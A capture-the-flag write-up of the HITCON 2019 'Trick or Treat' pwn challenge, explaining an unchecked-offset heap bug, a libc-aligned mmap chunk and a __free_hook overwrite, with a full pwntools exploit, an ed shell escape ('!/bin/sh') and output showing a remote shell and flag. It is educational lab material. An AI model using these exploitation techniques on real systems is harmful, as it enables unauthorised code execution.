HITCON CTF 2019 Qualifiers just finished this weekend, and it was fun! I played with my team 0x1
and got 59th place.
I’ve only been really participating in CTFs for about 4.5 months now, and this was my first “hard” level CTF where I actually solved a challenge!
Credits to Angelboy (@scwuaptx) for this really cool challenge. I also got quite far into one of his other challenges called LazyHouse. Got a libc leak but I couldn’t figure out how to get past the seccomp sandbox for that challenge. Looking forward to reading other team’s writeups for that challenge!
Challenge
- Category: pwn
- Points: 234
- Solves: 40
Trick or Treat !!
nc 3.112.41.140 56746
trick_or_treat-b2f8e79971f6f06e1680869133c6e47e69414c01.tar.gz
Author: Angelboy
Solution
This was a challenge with a very simple concept. I disassembled it, and here is my own interpretation of the pseudocode:
void main(void)
{
int i = 0;
int size = 0;
long int offset = 0;
long int value = 0;
int *chunk = 0;
// Make stdin and stdout unbuffered
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
// Malloc a user defined size chunk
write(1, "Size:", 5);
scanf("%lu", &size);
chunk = malloc(size);
if (chunk)
{
printf("Magic:%p\n", chunk); // Prints out the address of the chunk
// Loop twice and ask for an offset for the chunk and a value to write to that offset
for (i = 0; i < 2; ++i)
{
write(1, "Offset & Value:", 0x10);
scanf("%lx %lx", &offset, &value);
chunk[offset] = value;
}
}
_exit(0);
}
Basically it lets you do the following:
- You can allocate whatever sized chunk you want.
- If the allocation succeeds, you are allowed to pick an offset to that chunk, and a value to write to. You can do this twice.
Simple program, the vulnerability lies in the fact that the offset isn’t checked to see if it fits into the size of the chunk. We can perform a relative write to any memory space adjacent to our chunk. However, if we simply allocate a chunk of, say, size 0x100, our chunk just gets put on the heap, and the memory looks like this:
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-x /ctf/pwn-and-re-challenges/hitcon-2019/trick_or_treat/trick_or_treat
0x0000555555754000 0x0000555555755000 0x0000000000000000 r-- /ctf/pwn-and-re-challenges/hitcon-2019/trick_or_treat/trick_or_treat
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /ctf/pwn-and-re-challenges/hitcon-2019/trick_or_treat/trick_or_treat
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] [our chunk is here]
0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
...
As you can see, the only place we can write two arbitrary values to will be either on the heap, or back in the rw
.bss segment right before the heap. There is nothing useful in the .bss segment for us to overwrite, and there is also nothing useful in the heap, so how do we solve this challenge?
After a little bit of thinking I remembered that if you pass a large size to malloc
(but smaller than a certain size), malloc
will actually call mmap
to map a completely new memory region. With some trial and error, I found that with a chunk size of 10000000
, we can get our mmap’d chunk to align perfectly with libc:
gef➤ vmmap
Start End Offset Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-x /ctf/pwn-and-re-challenges/hitcon-2019/trick_or_treat/trick_or_treat
0x0000555555754000 0x0000555555755000 0x0000000000000000 r-- /ctf/pwn-and-re-challenges/hitcon-2019/trick_or_treat/trick_or_treat
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /ctf/pwn-and-re-challenges/hitcon-2019/trick_or_treat/trick_or_treat
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff6fe3000 0x00007ffff79e4000 0x0000000000000000 rw- [our chunk is now here]
0x00007ffff79e4000 0x00007ffff7bcb000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7bcb000 0x00007ffff7dcb000 0x00000000001e7000 --- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcb000 0x00007ffff7dcf000 0x00000000001e7000 r-- /lib/x86_64-linux-gnu/libc-2.27.so
0x00007ffff7dcf000 0x00007ffff7dd1000 0x00000000001eb000 rw- /lib/x86_64-linux-gnu/libc-2.27.so
...
Now that it is aligned to libc, we can overwrite stuff in libc! Of course the first thing that comes to mind is to overwrite __malloc_hook
or __free_hook
to get a shell, but since the program doesn’t call malloc
or free
ever again after allocating our first chunk, how does it work?
Well, the trick is in scanf
. If you pass a very large input into scanf
, it will internally call both malloc
and free
to create a temporary buffer for your input on the heap. Let’s start by calculating addresses that we need:
#!/usr/bin/env python2
from pwn import *
elf = ELF('./trick_or_treat')
libc = ELF('./libc.so.6')
p = process('./trick_or_treat')
#p = remote('3.112.41.140', 56746)
context.terminal = ['tmux', 'new-window']
p.recv()
# Get a new mmapped chunk right before libc
# also aligned with libc
p.sendline('10000000')
chunk = int(p.recv().split('\n')[0].split(':')[1], 16)
libc.address = chunk + 0x989ff0 # Found using gdb, always constant
free_hook = libc.symbols['__free_hook']
free_hook_off = (free_hook - chunk) / 8 # offset to __free_hook
system = libc.symbols['system']
Next, here is what I tried:
- I tried overwriting
__malloc_hook
with all the one gadgets, and none of them worked (FAIL). - I tried overwriting
__free_hook
with all the one gadgets, and none of them worked (FAIL). - Then, I thought of overwriting
__free_hook
withsystem
, and then passing'/bin/sh;'
as the first 8 bytes in our hugescanf
buffer. That way whenfree
is called internally inscanf
, it will callsystem("/bin/sh;blahblahblah...")
giving us a shell, but there was a problem.
The problem is in this line:
for (i = 0; i < 2; ++i)
{
write(1, "Offset & Value:", 0x10);
scanf("%lx %lx", &offset, &value); // <- PROBLEM
chunk[offset] = value;
}
The problem is with %lx
, it means that in our huge scanf
buffer, we can only pass in hexadecimal characters (0123456789abcdef
). With that, there is no way to call /bin/sh
.
I thought for a while on how to bypass this hexadecimal-only filter. I then went through my VM’s /usr/bin
folder and looked for any programs that I can run. I found c89
, c99
, cc
, and ed
.
I immediately remembered reading a writeup of some HackTheBox machine where the solution was to escape a restricted shell using ed
, so I gave that a shot, and it worked.
The exploit is simple, we overwrite __free_hook
with system
and then call system("ed")
, and then escape out of ed
by typing !/bin/sh
.
My exploit script behaved a bit weird, but here is the final script:
#!/usr/bin/env python2
from pwn import *
elf = ELF('./trick_or_treat')
libc = ELF('./libc.so.6')
#p = process('./trick_or_treat')
p = remote('3.112.41.140', 56746)
context.terminal = ['tmux', 'new-window']
p.recv()
# Get a new mmapped chunk right before libc
# also aligned with libc
p.sendline('10000000')
chunk = int(p.recv().split('\n')[0].split(':')[1], 16)
libc.address = chunk + 0x989ff0 # Found using gdb, always constant
free_hook = libc.symbols['__free_hook']
free_hook_off = (free_hook - chunk) / 8 # Offset to __free_hook
system = libc.symbols['system']
log.info('Chunk: ' + hex(chunk))
log.info('__free_hook: ' + hex(free_hook))
log.info('free_hook_off: ' + hex(free_hook_off))
log.info('system: ' + hex(system))
log.info('Libc base: ' + hex(libc.address))
# Overwrite __free_hook with system
p.sendline('{} {}'.format(hex(free_hook_off), hex(system)))
print p.recv()
# Make scanf call malloc followed by free
p.sendline('A'*50000)
# Call system('ed')
p.sendline('ed')
# Escape out of ed and get a shell
p.sendline('!/bin/sh')
p.interactive()
vagrant@ubuntu-bionic:/ctf/pwn-and-re-challenges/hitcon-2019/trick_or_treat$ ./exploit.py
[*] '/ctf/pwn-and-re-challenges/hitcon-2019/trick_or_treat/trick_or_treat'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
[*] '/ctf/pwn-and-re-challenges/hitcon-2019/trick_or_treat/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 3.112.41.140 on port 56746: Done
[*] Chunk: 0x7f56a3973010
[*] __free_hook: 0x7f56a46ea8e8
[*] free_hook_off: 0x1aef1b
[*] system: 0x7f56a434c440
[*] Libc base: 0x7f56a42fd000
Offset & Value:\x00
[*] Switching to interactive mode
Offset & Value:\x00$ id
uid=1001(trick_or_treat) gid=1001(trick_or_treat) groups=1001(trick_or_treat)
$ cat /home/*/flag
hitcon{T1is_i5_th3_c4ndy_for_yoU}